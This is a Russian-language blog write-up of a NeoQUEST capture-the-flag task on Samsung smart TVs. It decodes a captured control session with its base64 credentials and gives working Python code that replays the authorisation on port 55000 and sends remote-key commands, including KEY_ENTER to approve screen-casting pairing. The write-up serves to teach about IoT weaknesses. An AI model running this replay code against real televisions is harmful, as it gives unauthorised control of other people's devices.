Эй, телевизор, ты что, самый «умный»?

6e587f5709d44e6cad4190c82c55bdc7.jpg Про опасности использования «умных» телевизоров слышали, наверное, все. Говорят, что они наблюдают за владельцем и прослушивают его разговоры. Но это не тревожит большинство пользователей, которые продолжают спокойно заполнять формы авторизации прямо на экране TV.

Мы решили проверить, реально ли сделать что-то интересное с умным телевизором, не имея физического доступа к нему (спойлер: реально! ), и готовы рассказать об этом на примере разбора задания с NeoQUEST!

Исходные данные


Участникам нужно было вывести на экран телевизора определенную картинку. Всё, что у них было — IP-адрес телевизора и дамп сессии, увеличивающей громкость телевизора. Физический доступ к телевизору был закрыт (в том числе ИК-порт), однако при этом участники могли видеть все, что появляется на экране.

Разбираем дамп сессии


Адрес управляющего компьютера — 10.0.20.130, а адрес телевизора — 10.0.20.105. Содержимое дампа сетевого трафика выглядит следующим образом:

a6b3062301cf4d42bb41f6aa9d79b1ce.png

Отбросим все служебные пакеты, не несущие смысловой нагрузки. Остается 4 пакета:

49fc8350fb7b4a17abb48c2c37422da5.png

С полной структурой пакетов можно ознакомиться по ссылке, мы же рассмотрим наиболее интересные поля.

Итак, первый пакет, который посылает управляющий компьютер, выглядит следующим образом:

0000   00 0c 00 6e 65 6f 71 75   65 73 74 2e 61 70 70 38  ...neoqu est.app8
0010   00 64 00 10 00 54 47 56   6e 61 58 51 67 56 58 4e  .d...TGV naXQgVXN
0020   6c 63 67 3d 3d 10 00 54   6d 39 46 59 58 4e 35 56  lcg==..T m9FYXN5V
0030   32 46 35 54 33 56 30 10   00 54 47 56 6e 61 58 51  2F5T3V0. .TGVnaXQ
0040   67 56 58 4e 6c 63 67 3d   3d                       gVXNlcg= =    

Здесь:
  • «neoquest.app» — строка, которая может принимать любое значение;
  • «TGVnaXQgVXNlcg==» и «Tm9FYXN5V2F5T3V0» — строчки, закодированные в base64. После декодирования получили «Legit User», «NoEasyWayOut» соответственно.

Очевидно, что это пакет авторизации. Второй пакет содержит информацию об успешности авторизации:
0000   00 0c 00 69 61 70 70 2e   73 61 6d 73 75 6e 67 04  ...iapp. samsung.
0010   00 64 00 01 00                                     .d...            

Смысл строки «iapp.samsung» неизвестен, а вот последние 4 байта (64 00 01 00) означают, что авторизация прошла успешно и дальше можно посылать управляющие команды.

Третий пакет является управляющим:

0000   00 0c 00 6e 65 6f 71 75   65 73 74 2e 61 70 70 11  ...neoqu est.app.
0010   00 00 00 00 0c 00 53 30   56 5a 58 31 5a 50 54 46  ......S0 VZX1ZPTF
0020   56 51                                              VQ               

По аналогии, последняя строка (S0VZX1ZPTFVQ) — это команда, закодированная в base64, после декодирования которой получается строка «KEY_VOLUP», увеличивающая громкость телевизора (VOLume UP).

Рассматриваем последний пакет: в его последних четырёх байтах хранятся нули, что указывает на успешное выполнение команды:

0000   00 0c 00 69 61 70 70 2e   73 61 6d 73 75 6e 67 04  ...iapp. samsung.
0010   00 00 00 00 00                                     .....            

Воспроизводим сессию


Первое, что хочется сделать после разбора дампа — попробовать повторно воспроизвести сессию. Для этого пишем небольшой код:
import socket
from base64 import b64encode

tv_ip = "10.0.20.101"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((tv_ip, 55000))

#----Authorization--------
msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+\
      b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+\
      b'\x10\x00'+b64encode(b'Legit User')
sock.sendall(msg)
print(sock.recv(1024))

#----Command--------------
msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+\
      b64encode(b'KEY_VOLUP')
sock.sendall(msg)
print(sock.recv(1024))

sock.close()

Запускаем …

00837413ad93439baf9232cb4c1301fa.jpg

Отлично! Телевизор увеличил свою громкость на 1, а это значит, что нам удалось успешно авторизоваться и выполнить команду. На этом завершилась первая часть задания. Едем дальше…

Выводим картинку на экран


Теперь нам каким-то образом нужно вывести картинку на экран. Зная, что подопытный телевизор — фирмы Samsung, и, немного погуглив, находим приложение Samsung SmartView, которое умеет посылать на телевизор картинку, не требуя при этом никакой нетривиальной настройки.

Алгоритм действий в данном случае будет примерно следующий:

  1. Устанавливаем и запускаем SmartView на своем персональном компьютере.
  2. Телевизор автоматически определился, пробуем подключиться.

    На экране телевизора появилось требование авторизовать наше устройство.

    91b3bdfd827c4a24a5e270f193f57eae.png

    476900fc70e24202a92e483a9591dae0.jpg

    Понимаем, что нам нужно выполнить команду нажатия на кнопку Enter для успешной авторизации. Находим в Интернете описание команд, откуда видим, что нам нужно выбрать «KEY_ENTER».

  3. Запускаем наш код, заменив «KEY_VOLUP» на «KEY_ENTER».
    Измененный код
    import socket
    from base64 import b64encode
    
    tv_ip = "10.0.20.101"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((tv_ip, 55000))
    
    #----Authorization--------
    msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+\
          b64encode(b'Legit User')+b'\x10\x00'+b64encode(b'NoEasyWayOut')+\
          b'\x10\x00'+b64encode(b'Legit User')
    sock.sendall(msg)
    print(sock.recv(1024))
    
    #----Command--------------
    msg = b'\x00\x0c\x00'+b'neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+\
          b64encode(b'KEY_ENTER')
    sock.sendall(msg)
    print(sock.recv(1024))
    
    sock.close()


  4. SmartView успешно авторизован. Осталось выбрать нужную картинку и отправить ее на телевизор!

Неутешительные выводы


Оказалось, что получить доступ к «умному» телевизору и управлять его громкостью и контентом, выводимым на экран, вполне реальная задача!

Вспоминается зловещее предупреждение Евгения Касперского:

Компьютеры заражаются, мобильные телефоны заражаются. Что будет следующее? … Я уверен, что следующий абсолютно новый вид атак будет на умные телевизоры. Все, что выходит в Интернет, все, что будет подключено к сети, рано или поздно будет «хакнуто».

Что делать — идти к своему телевизору и закрывать ему доступ в Интернет? Или срочно приобретать/разрабатывать антивирус для «умных» телевизоров? Или садиться за компьютер и разрабатывать план мщения для недруга?

Это личный выбор каждого. А мы лишь продемонстрировали одну из опасностей Интернета вещей. На этом мы не остановимся: впереди новый NeoQUEST и новые задания, демонстрирующие проблемы обеспечения безопасности современных технологий.

Комментарии (0)

© Habrahabr.ru